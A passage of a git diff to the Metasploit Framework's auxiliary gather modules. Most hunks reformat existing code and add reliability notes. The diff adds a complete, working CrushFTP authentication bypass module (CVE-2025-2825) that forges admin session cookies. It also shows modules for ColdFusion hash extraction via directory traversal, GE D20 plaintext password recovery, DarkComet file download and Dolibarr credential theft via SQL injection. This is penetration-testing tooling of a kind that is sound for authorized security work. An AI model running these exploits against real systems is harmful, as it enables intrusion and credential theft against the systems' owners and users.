UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ Opt::RPORT(1604), - ]) + ] + ) end def autofilter @@ -142,11 +150,10 @@ def run udp_sock.put(client_connect) res = udp_sock.get(3) - if (res[0,server_response.length] == server_response) + if (res[0, server_response.length] == server_response) print_status("Citrix ICA Server Detected. Attempting to brute force Published Applications.") applications.each do |application| - # Create the packet packet = [52 + application.length].pack('C') packet << "\x00\x02\x34\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00" @@ -161,11 +168,11 @@ def run udp_sock.put(packet) res = udp_sock.get(3) - if (res[0,application_valid.length] == application_valid) + if (res[0, application_valid.length] == application_valid) print_status("Found: #{application}") end - if (res[0,application_invalid.length] == application_invalid) + if (res[0, application_invalid.length] == application_invalid) print_error("NOT Found: #{application}") end end diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index fb6bd19bcf3fe..5acc38a6393d1 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -8,43 +8,50 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => "ColdFusion 'password.properties' Hash Extraction", - 'Description' => %q{ + super( + update_info( + info, + 'Name' => "ColdFusion 'password.properties' Hash Extraction", + 'Description' => %q{ This module uses a directory traversal vulnerability to extract information - such as password, rdspassword, and "encrypted" properties. This module has been - tested successfully on ColdFusion 9 and ColdFusion 10 (auto-detect). - }, - 'References' => - [ + such as password, rdspassword, and "encrypted" properties. This module has been + tested successfully on ColdFusion 9 and ColdFusion 10 (auto-detect). + }, + 'References' => [ [ 'CVE', '2013-3336' ], [ 'OSVDB', '93114' ], [ 'EDB', '25305' ] ], - 'Author' => - [ + 'Author' => [ 'HTP', 'sinn3r', 'nebulus' ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => '2013-05-07' #The day we saw the subzero poc - )) + 'License' => MSF_LICENSE, + # The day we saw the subzero poc + 'DisclosureDate' => '2013-05-07', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ Opt::RPORT(80), OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/']) - ]) + ] + ) end def fingerprint(response) - - if(response.headers.has_key?('Server') ) - if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/) + if (response.headers.has_key?('Server')) + if (response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/) os = "Windows (#{response.headers['Server']})" - elsif(response.headers['Server'] =~ /Apache\//) - os = "Unix (#{response.headers['Server']})" + elsif (response.headers['Server'] =~ /Apache\//) + os = "Unix (#{response.headers['Server']})" else os = response.headers['Server'] end @@ -54,41 +61,41 @@ def fingerprint(response) title = "Not Found" response.body.gsub!(/[\r\n]/, '') - if(response.body =~ /(.+)<\/title\/?>/i) + if (response.body =~ /(.+)<\/title\/?>/i) title = $1 title.gsub!(/\s/, '') end - return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/) + return nil if (title == 'Not Found' or not title =~ /ColdFusionAdministrator/) out = nil - if(response.body =~ />\s*Version:\s*(.*)<\/strong\>\s*Version:\s*(.*)<\/strong\>\s+\s+ url, - 'method' => 'GET', - 'Connection' => "keep-alive", - 'Accept-Encoding' => "zip,deflate", - }) + 'uri' => url, + 'method' => 'GET', + 'Connection' => "keep-alive", + 'Accept-Encoding' => "zip,deflate", + }) - if(res != nil) - # can't stack b/c res.code won't exist if res is nil - vuln = true if(res.code == 500 and res.body =~ /attributes\.id was not provided/) + if (res != nil) + # can't stack b/c res.code won't exist if res is nil + vuln = true if (res.code == 500 and res.body =~ /attributes\.id was not provided/) end - if(vuln) + if (vuln) url = '/CFIDE/administrator/mail/download.cfm' res = send_request_cgi({ - 'uri' => url, - 'method' => 'GET', - 'Connection' => "keep-alive", - 'Accept-Encoding' => "zip,deflate", - }) - if(res != nil) + 'uri' => url, + 'method' => 'GET', + 'Connection' => "keep-alive", + 'Accept-Encoding' => "zip,deflate", + }) + if (res != nil) vuln = false if (res.code != 200) end end @@ -144,18 +151,17 @@ def check_cf return vuln end - def run filename = "" url = '/CFIDE/administrator/index.cfm' # print_status("Getting index...") res = send_request_cgi({ - 'uri' => url, - 'method' => 'GET', - 'Connection' => "keep-alive", - 'Accept-Encoding' => "zip,deflate", - }) + 'uri' => url, + 'method' => 'GET', + 'Connection' => "keep-alive", + 'Accept-Encoding' => "zip,deflate", + }) # print_status("Got back: #{res.inspect}") return if not res return if not res.body or not res.code @@ -164,31 +170,31 @@ def run out, filename = fingerprint(res) print_status("#{peer} #{out}") if out - if(out =~ /Not Vulnerable/) + if (out =~ /Not Vulnerable/) print_status("#{peer} isn't vulnerable to this attack") return end - if(not check_cf) + if (not check_cf) print_status("#{peer} can't be exploited (either files missing or permissions block access)") return end res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'), + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'), 'encode_params' => false, 'encode' => false, 'vars_get' => { - 'attributes.id' => 'it', - 'attributes.file' => '../../administrator/mail/download.cfm', - 'filename' => filename, - 'attributes.locale' => 'it', - 'attributes.var' => 'it', - 'attributes.jscript' => 'false', - 'attributes.type' => 'text/html', - 'attributes.charset' => 'UTF-8', - 'thisTag.executionmode' => 'end', + 'attributes.id' => 'it', + 'attributes.file' => '../../administrator/mail/download.cfm', + 'filename' => filename, + 'attributes.locale' => 'it', + 'attributes.var' => 'it', + 'attributes.jscript' => 'false', + 'attributes.type' => 'text/html', + 'attributes.charset' => 'UTF-8', + 'thisTag.executionmode' => 'end', 'thisTag.generatedContent' => 'htp' } }) @@ -198,9 +204,9 @@ def run return end - rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || '' - password = res.body.scan(/^password=(.+)/).flatten[0] || '' - encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || '' + rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || '' + password = res.body.scan(/^password=(.+)/).flatten[0] || '' + encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || '' if rdspass.empty? and password.empty? # No pass collected, no point to store anything diff --git a/modules/auxiliary/gather/corpwatch_lookup_id.rb b/modules/auxiliary/gather/corpwatch_lookup_id.rb index bf7fcc91f1cae..e694012a14f71 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_id.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_id.rb @@ -9,33 +9,41 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'CorpWatch Company ID Information Search', - 'Description' => %q{ - This module interfaces with the CorpWatch API to get publicly available - info for a given CorpWatch ID of the company. If you don't know the - CorpWatch ID, please use the corpwatch_lookup_name module first. - }, - 'Author' => [ 'Brandon Perry ' ], - 'References' => - [ + super( + update_info( + info, + 'Name' => 'CorpWatch Company ID Information Search', + 'Description' => %q{ + This module interfaces with the CorpWatch API to get publicly available + info for a given CorpWatch ID of the company. If you don't know the + CorpWatch ID, please use the corpwatch_lookup_name module first. + }, + 'Author' => [ 'Brandon Perry ' ], + 'References' => [ [ 'URL', 'http://api.corpwatch.org/' ] - ] - )) + ], + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) deregister_http_client_options register_options( [ OptString.new('CW_ID', [ true, "The CorpWatch ID of the company", ""]), - OptInt.new('YEAR', [ false, "Year to look up", Time.now.year-1]), + OptInt.new('YEAR', [ false, "Year to look up", Time.now.year - 1]), OptBool.new('GET_LOCATIONS', [ false, "Get locations for company", true]), OptBool.new('GET_NAMES', [ false, "Get all registered names ofr the company", true]), OptBool.new('GET_FILINGS', [ false, "Get all filings", false ]), OptBool.new('GET_CHILDREN', [false, "Get children companies", true]), OptInt.new('CHILD_LIMIT', [false, "Set limit to how many children we can get", 5]), OptBool.new('GET_HISTORY', [false, "Get company history", false]) - ]) + ] + ) end def rhost_corpwatch @@ -47,17 +55,16 @@ def rport_corpwatch end def run - loot = "" uri = "/" uri << (datastore['YEAR']).to_s if datastore['YEAR'].to_s != "" uri << ("/companies/" + datastore['CW_ID']) res = send_request_cgi({ - 'rhost' => rhost_corpwatch, - 'rport' => rport_corpwatch, - 'uri' => uri + ".xml", - 'method' => 'GET' + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, + 'uri' => uri + ".xml", + 'method' => 'GET' }, 25) if res == nil @@ -116,13 +123,13 @@ def run loot << ("\nSector: " + (sector = grab_text(e, "sector_name"))) loot << ("\nSource: " + (source = grab_text(e, "source_type"))) loot << ("\nAddress: " + (address = grab_text(e, "raw_address"))) - loot << ("\nCountry: " + ( country = grab_text(e, "country_code"))) + loot << ("\nCountry: " + (country = grab_text(e, "country_code"))) loot << ("\nSub-Division: " + (subdiv = grab_text(e, "subdiv_code"))) loot << ("\nTop Parent CW_ID: " + (top_parent = grab_text(e, "top_parent_id"))) loot << ("\nNumber of parents: " + (num_parents = grab_text(e, "num_parents"))) loot << ("\nNumber of children: " + (num_children = grab_text(e, "num_children"))) loot << ("\nMax searchable year: " + (max_year = grab_text(e, "max_year"))) - loot << ("\nMinimum searchable year: "+ (min_year = grab_text(e, "min_year"))) + loot << ("\nMinimum searchable year: " + (min_year = grab_text(e, "min_year"))) loot << "\n\n\n" print_status("Basic Information\n--------------------") @@ -152,12 +159,13 @@ def run if datastore['GET_LOCATIONS'] res = send_request_cgi( - { - 'rhost' => rhost_corpwatch, - 'rport' => rport_corpwatch, - 'uri' => uri + "/locations.xml", - 'method' => 'GET' - }, 25) + { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, + 'uri' => uri + "/locations.xml", + 'method' => 'GET' + }, 25 + ) if res == nil print_error("Server down or bad response") @@ -190,9 +198,9 @@ def run results.elements.each { |e| loot << ("CorpWatch ID: " + (cwid = grab_text(e, "cw_id"))) loot << ("\nCountry code: " + (country_code = grab_text(e, "country_code")) - loot << ("\nSubdivision code: " + (subdiv_code = grab_text(e, "subdiv_code"))) - loot << ("\nType: " + (type = grab_text(e, "type"))) - loot << ("\nFull address: " + full_address = grab_text(e, "raw_address"))) + loot << ("\nSubdivision code: " + (subdiv_code = grab_text(e, "subdiv_code"))) + loot << ("\nType: " + (type = grab_text(e, "type"))) + loot << ("\nFull address: " + full_address = grab_text(e, "raw_address"))) loot << ("\nStreet 1: " + (street1 = grab_text(e, "street_1"))) loot << ("\nStreet 2: " + (street2 = grab_text(e, "street_2"))) loot << ("\nCity: " + (city = grab_text(e, "city"))) @@ -224,12 +232,13 @@ def run if datastore['GET_NAMES'] res = send_request_cgi( - { - 'rhost' => rhost_corpwatch, - 'rport' => rport_corpwatch, - 'uri' => uri + "/names.xml", - 'method' => 'GET' - }, 25) + { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, + 'uri' => uri + "/names.xml", + 'method' => 'GET' + }, 25 + ) if res == nil print_error("Server down or bad response") @@ -286,12 +295,13 @@ def run if datastore['GET_FILINGS'] res = send_request_cgi( - { - 'rhost' => rhost_corpwatch, - 'rport' => rport_corpwatch, - 'uri' => uri + "/filings.xml", - 'method' => 'GET' - }, 25) + { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, + 'uri' => uri + "/filings.xml", + 'method' => 'GET' + }, 25 + ) if res == nil print_error("Server down or response broken") @@ -366,12 +376,13 @@ def run end res = send_request_cgi( - { - 'rhost' => rhost_corpwatch, - 'rport' => rport_corpwatch, - 'uri' => child_uri, - 'method' => 'GET' - }, 25) + { + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, + 'uri' => child_uri, + 'method' => 'GET' + }, 25 + ) if res == nil print_error("Server down or bad response") @@ -448,10 +459,10 @@ def run if datastore['GET_HISTORY'] res = send_request_cgi({ - 'rhost' => rhost_corpwatch, - 'rport' => rport_corpwatch, - 'uri' => uri + "/history.xml", - 'method' => 'GET' + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, + 'uri' => uri + "/history.xml", + 'method' => 'GET' }, 25) if res == nil @@ -524,7 +535,7 @@ def run end end - p = store_loot("corpwatch_api.#{datastore['CW_ID']}_info","text/plain",nil,loot,"company_#{datastore['CW_ID']}.txt","#{datastore["CW_ID"]} Specific Information") + p = store_loot("corpwatch_api.#{datastore['CW_ID']}_info", "text/plain", nil, loot, "company_#{datastore['CW_ID']}.txt", "#{datastore["CW_ID"]} Specific Information") print_line() print_status("Saved in: #{p}") @@ -532,7 +543,7 @@ def run def grab_text(e, name) (e.get_elements(name) && e.get_elements(name)[0] && - e.get_elements(name)[0].get_text ) ? + e.get_elements(name)[0].get_text) ? e.get_elements(name)[0].get_text.to_s : "" end end diff --git a/modules/auxiliary/gather/corpwatch_lookup_name.rb b/modules/auxiliary/gather/corpwatch_lookup_name.rb index 350451533241f..e894cca948430 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_name.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_name.rb @@ -10,30 +10,38 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'CorpWatch Company Name Information Search', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'CorpWatch Company Name Information Search', + 'Description' => %q{ This module interfaces with the CorpWatch API to get publicly available - info for a given company name. Please note that by using CorpWatch API, you - acknowledge the limitations of the data CorpWatch provides, and should always - verify the information with the official SEC filings before taking any action. - }, - 'Author' => [ 'Brandon Perry ' ], - 'References' => - [ + info for a given company name. Please note that by using CorpWatch API, you + acknowledge the limitations of the data CorpWatch provides, and should always + verify the information with the official SEC filings before taking any action. + }, + 'Author' => [ 'Brandon Perry ' ], + 'References' => [ [ 'URL', 'http://api.corpwatch.org/' ] - ] - )) + ], + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) deregister_http_client_options register_options( [ OptString.new('COMPANY_NAME', [ true, "Search for companies with this name", ""]), - OptInt.new('YEAR', [ false, "Year to look up", Time.now.year-1]), + OptInt.new('YEAR', [ false, "Year to look up", Time.now.year - 1]), OptString.new('LIMIT', [ true, "Limit the number of results returned", "5"]), OptString.new('CORPWATCH_APIKEY', [ false, "Use this API key when getting the data", ""]), - ]) + ] + ) end def rhost_corpwatch @@ -45,24 +53,24 @@ def rport_corpwatch end def run - uri = "/" uri << (datastore['YEAR'].to_s + "/") if datastore['YEAR'].to_s != "" uri << "companies.xml" res = send_request_cgi( - { - 'rhost' => rhost_corpwatch, - 'rport' => rport_corpwatch, - 'uri' => uri, - 'method' => 'GET', - 'vars_get' => { - 'company_name' => datastore['COMPANY_NAME'], - 'limit' => datastore['LIMIT'], - 'key' => datastore['CORPWATCH_APIKEY'] - } - }, 25) + 'rhost' => rhost_corpwatch, + 'rport' => rport_corpwatch, + 'uri' => uri, + 'method' => 'GET', + 'vars_get' => + { + 'company_name' => datastore['COMPANY_NAME'], + 'limit' => datastore['LIMIT'], + 'key' => datastore['CORPWATCH_APIKEY'] + } + }, 25 + ) if not res print_error("Server down, bad response") @@ -126,7 +134,7 @@ def run def grab_text(e, name) (e.get_elements(name) && e.get_elements(name)[0] && - e.get_elements(name)[0].get_text ) ? - e.get_elements(name)[0].get_text.to_s : "" + e.get_elements(name)[0].get_text) ? + e.get_elements(name)[0].get_text.to_s : "" end end diff --git a/modules/auxiliary/gather/crushftp_authbypass_cve_2025_2825.rb b/modules/auxiliary/gather/crushftp_authbypass_cve_2025_2825.rb new file mode 100644 index 0000000000000..b76b8772f48aa --- /dev/null +++ b/modules/auxiliary/gather/crushftp_authbypass_cve_2025_2825.rb @@ -0,0 +1,130 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'CrushFTP AWS4-HMAC Authentication Bypass', + 'Description' => %q{ + This module leverages an authentication bypass in CrushFTP 11 < 11.3.1 and 10 < 10.8.4. Attackers + with knowledge of a valid username can provide a crafted S3 authentication header to the CrushFTP web API + to authenticate as that user without valid credentials. When successfully executed, the exploit will + output working session cookies for the target user account. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Outpost24', # Initial Discovery + 'remmons-r7' # MSF Module & Rapid7 Analysis + ], + 'References' => [ + ['CVE', '2025-2825'], + ['URL', 'https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + # The CrushFTP.log file will contain a log of the HTTP requests + # Similarly, files in logs/session_logs/ will contain a log of the HTTP requests + # The sessions.obj file will temporarily persist details of recent requests + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETUSER', [true, 'The target account to forge a session cookie for', 'crushadmin']), + OptString.new('TARGETURI', [true, 'The URI path to CrushFTP', '/']) + ] + ) + end + + def run + # Unauthenticated requests to WebInterface endpoints should receive a response containing an 'anonymous' user session cookie + print_status('Confirming the target is a CrushFTP web service') + res_anonymous = get_anon_session + + fail_with(Failure::Unknown, 'Connection failed - unable to get web API response') unless res_anonymous + + # Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP + if (res_anonymous&.code != 404) || res_anonymous&.get_cookies !~ /CrushAuth=([^;]+;)/ + fail_with(Failure::Unknown, 'The target does not appear to be a CrushFTP web service') + end + + # Generate a properly formatted fake CrushFTP cookie + user_cookie = generate_fake_cookie + + print_status('Attempting to bypass authentication') + res_bypass = perform_auth_bypass(datastore['TARGETUSER'], user_cookie) + + # Confirm that the target returns an empty response, otherwise it shouldn't be vulnerable + fail_with(Failure::NotVulnerable, 'The target unexpectedly returned a response') if res_bypass + + print_good('The target returned the expected empty response and is likely vulnerable') + + # Perform a duplicate request to confirm the cookie is now authenticated + print_status('Attempting to access an authenticated API endpoint with the malicious session cookie') + res_bypass = perform_auth_bypass(datastore['TARGETUSER'], user_cookie) + + # Check for request failure, which indicates that the provided username is invalid + fail_with(Failure::BadConfig, 'Connection failed - the provided username is likely invalid') unless res_bypass + + # If the target doesn't return a success message, assume the exploit failed + if !res_bypass.body.include? "success#{datastore['TARGETUSER']}" + fail_with(Failure::Unknown, 'Exploit failed - the target did not confirm authentication status') + end + + cookie_string = "Cookie: CrushAuth=#{user_cookie}; currentAuth=#{user_cookie.to_s[-4..]}" + + print_good("Authentication bypass succeeded! Cookie string generated\n#{cookie_string}\n") + + report_vuln( + host: rhost, + name: name, + refs: references + ) + + store_loot('CrushAuth', 'text/plain', datastore['RHOST'], cookie_string) + end + + # A GET request to /WebInterface/ should return a 404 response that contains an 'anonymous' user cookie + def get_anon_session + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'WebInterface/') + ) + end + + def generate_fake_cookie + current_timestamp = Time.now.to_i + random_string = Rex::Text.rand_text_alphanumeric(30) + "#{current_timestamp}_#{random_string}" + end + + # Make a request to the getUsername web API with the malicious bypass header + def perform_auth_bypass(username, cookie) + send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'WebInterface', 'function/'), + 'cookie' => "CrushAuth=#{cookie}", + 'headers' => { + 'Connection' => 'close', + 'Authorization' => "AWS4-HMAC-SHA256 Credential=#{username}/" + }, + 'vars_post' => { + 'command' => 'getUsername', + # The c2f parameter must be the last four characters of the primary session cookie + 'c2f' => cookie.to_s[-4..] + } + } + ) + end +end diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb index 26c64d9bc058a..4a7bf1d1a7250 100644 --- a/modules/auxiliary/gather/d20pass.rb +++ b/modules/auxiliary/gather/d20pass.rb @@ -8,7 +8,6 @@ # parses the usernames and passwords from it. ## - class MetasploitModule < Msf::Auxiliary include Rex::Ui::Text include Rex::Proto::TFTP @@ -16,28 +15,36 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'General Electric D20 Password Recovery', - 'Description' => %q{ - The General Electric D20ME and possibly other units (D200?) feature - TFTP readable configurations with plaintext passwords. This module - retrieves the username, password, and authentication level list. - }, - 'Author' => [ 'K. Reid Wightman ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'General Electric D20 Password Recovery', + 'Description' => %q{ + The General Electric D20ME and possibly other units (D200?) feature + TFTP readable configurations with plaintext passwords. This module + retrieves the username, password, and authentication level list. + }, + 'Author' => [ 'K. Reid Wightman ' ], + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2012-6663'], ], - 'DisclosureDate' => '2012-01-19' - )) + 'DisclosureDate' => '2012-01-19', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ Opt::RPORT(69), Opt::RHOST('192.168.255.1'), OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"]) - ]) + ] + ) end def setup @@ -51,16 +58,16 @@ def setup def cleanup if @tftp_client and @tftp_client.respond_to? :complete while not @tftp_client.complete - select(nil,nil,nil,1) + select(nil, nil, nil, 1) vprint_status "Cleaning up the TFTP client ports and threads." @tftp_client.stop end end end - def rtarget(ip=nil) + def rtarget(ip = nil) if (ip or rhost) and rport - [(ip || rhost),rport].map {|x| x.to_s}.join(":") << " " + [(ip || rhost), rport].map { |x| x.to_s }.join(":") << " " elsif (ip or rhost) rhost else @@ -72,12 +79,12 @@ def rtarget(ip=nil) def retrieve print_status("Retrieving file") @tftp_client = Rex::Proto::TFTP::Client.new( - "LocalHost" => @lhost, - "LocalPort" => @lport, - "PeerHost" => @rhost, - "PeerPort" => @rport, - "RemoteFile" => @rfile, - "Action" => :download + "LocalHost" => @lhost, + "LocalPort" => @lport, + "PeerHost" => @rhost, + "PeerPort" => @rport, + "RemoteFile" => @rfile, + "Action" => :download ) @tftp_client.send_read_request { |msg| print_tftp_status(msg) } @tftp_client.threads do |thread| @@ -95,6 +102,7 @@ def retrieve def makeword(bytestr) return bytestr.unpack("n")[0] end + # builds abi def makelong(bytestr) return bytestr.unpack("N")[0] @@ -160,6 +168,7 @@ def findentry(f, name, start) if name == myname return start end + left = leftchild(f, start) right = rightchild(f, start) if name < myname @@ -222,9 +231,10 @@ def parseusers(f, userentryptr) logins = Rex::Text::Table.new( 'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)", 'Indent' => 1, - 'Columns' => ["Type", "User Name", "Password"]) + 'Columns' => ["Type", "User Name", "Password"] + ) - 0.upto(numentries -1).each do |i| + 0.upto(numentries - 1).each do |i| f.seek(dstart + headerlen + i * entrylen) accounttype = makeword(f.read(2)) f.seek(dstart + headerlen + i * entrylen + 2) @@ -235,7 +245,7 @@ def parseusers(f, userentryptr) print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}") break end - logins << [accounttype, accountname, accountpass] + logins << [accounttype, accountname, accountpass] report_cred( ip: datastore['RHOST'], port: 23, @@ -289,11 +299,11 @@ def run def print_tftp_status(msg) case msg when /Aborting/, /errors.$/ - print_error [rtarget,msg].join + print_error [rtarget, msg].join when /^WRQ accepted/, /^Sending/, /complete!$/ - print_good [rtarget,msg].join + print_good [rtarget, msg].join else - vprint_status [rtarget,msg].join + vprint_status [rtarget, msg].join end end end diff --git a/modules/auxiliary/gather/darkcomet_filedownloader.rb b/modules/auxiliary/gather/darkcomet_filedownloader.rb index 303bd0737ec51..c3e8c5a3a8cbf 100644 --- a/modules/auxiliary/gather/darkcomet_filedownloader.rb +++ b/modules/auxiliary/gather/darkcomet_filedownloader.rb @@ -8,26 +8,32 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'DarkComet Server Remote File Download Exploit', - 'Description' => %q{ - This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up. - The exploit does not need to know the password chosen for the bot/server communication. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'DarkComet Server Remote File Download Exploit', + 'Description' => %q{ + This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up. + The exploit does not need to know the password chosen for the bot/server communication. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery 'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack ], - 'References' => - [ + 'References' => [ [ 'URL', 'https://www.nccgroup.com/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ], [ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ] ], - 'DisclosureDate' => '2012-10-08', - 'Platform' => 'win' - )) + 'DisclosureDate' => '2012-10-08', + 'Platform' => 'win', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ @@ -41,7 +47,8 @@ def initialize(info = {}) OptBool.new('STORE_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]), OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1]) - ]) + ] + ) end # Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext diff --git a/modules/auxiliary/gather/dolibarr_creds_sqli.rb b/modules/auxiliary/gather/dolibarr_creds_sqli.rb index cacb947873d42..1dc03af4633aa 100644 --- a/modules/auxiliary/gather/dolibarr_creds_sqli.rb +++ b/modules/auxiliary/gather/dolibarr_creds_sqli.rb @@ -7,39 +7,48 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Dolibarr Gather Credentials via SQL Injection', - 'Description' => %q{ - This module enables an authenticated user to collect the usernames and - encrypted passwords of other users in the Dolibarr ERP/CRM via SQL - injection. - }, - 'Author' => [ - 'Issam Rabhi', # PoC - 'Kevin Locati', # PoC - 'Shelby Pace', # Metasploit Module - ], - 'License' => MSF_LICENSE, - 'References' => [ - [ 'CVE', '2018-10094' ], - [ 'EDB', '44805'] - ], - 'DisclosureDate' => '2018-05-30' - )) + super( + update_info( + info, + 'Name' => 'Dolibarr Gather Credentials via SQL Injection', + 'Description' => %q{ + This module enables an authenticated user to collect the usernames and + encrypted passwords of other users in the Dolibarr ERP/CRM via SQL + injection. + }, + 'Author' => [ + 'Issam Rabhi', # PoC + 'Kevin Locati', # PoC + 'Shelby Pace', # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'CVE', '2018-10094' ], + [ 'EDB', '44805'] + ], + 'DisclosureDate' => '2018-05-30', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptString.new('TARGETURI', [ true, 'The base path to Dolibarr', '/' ]), OptString.new('USERNAME', [ true, 'The username for authenticating to Dolibarr', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for authenticating to Dolibarr', 'admin' ]) - ]) + ] + ) end def check_availability login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php') res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(login_page) + 'method' => 'GET', + 'uri' => normalize_uri(login_page) ) return false unless res && res.body.include?('Dolibarr') @@ -55,15 +64,15 @@ def login(response) print_status("Logging in...") login_res = send_request_cgi( - 'method' => 'POST', - 'uri' => login_uri, - 'cookie' => cookies, - 'vars_post' => { - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], - 'loginfunction' => 'loginfunction' - } - ) + 'method' => 'POST', + 'uri' => login_uri, + 'cookie' => cookies, + 'vars_post' => { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'loginfunction' => 'loginfunction' + } + ) unless login_res && login_res.body.include?('id="mainmenua_members"') fail_with(Failure::NoAccess, "Couldn't log into Dolibarr") @@ -81,13 +90,13 @@ def get_info(cookies) inject_uri <<= cmd inject_res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(inject_uri), - 'cookie' => cookies + 'method' => 'GET', + 'uri' => normalize_uri(inject_uri), + 'cookie' => cookies ) unless inject_res && inject_res.body.include?('id="searchFormList"') - fail_with(Failure::NotFound, "Failed to access page. The user may not have permissions.") + fail_with(Failure::NotFound, "Failed to access page. The user may not have permissions.") end print_good("Accessed credentials") diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb index 1528bfc4a4207..18770b69d8ceb 100644 --- a/modules/auxiliary/gather/doliwamp_traversal_creds.rb +++ 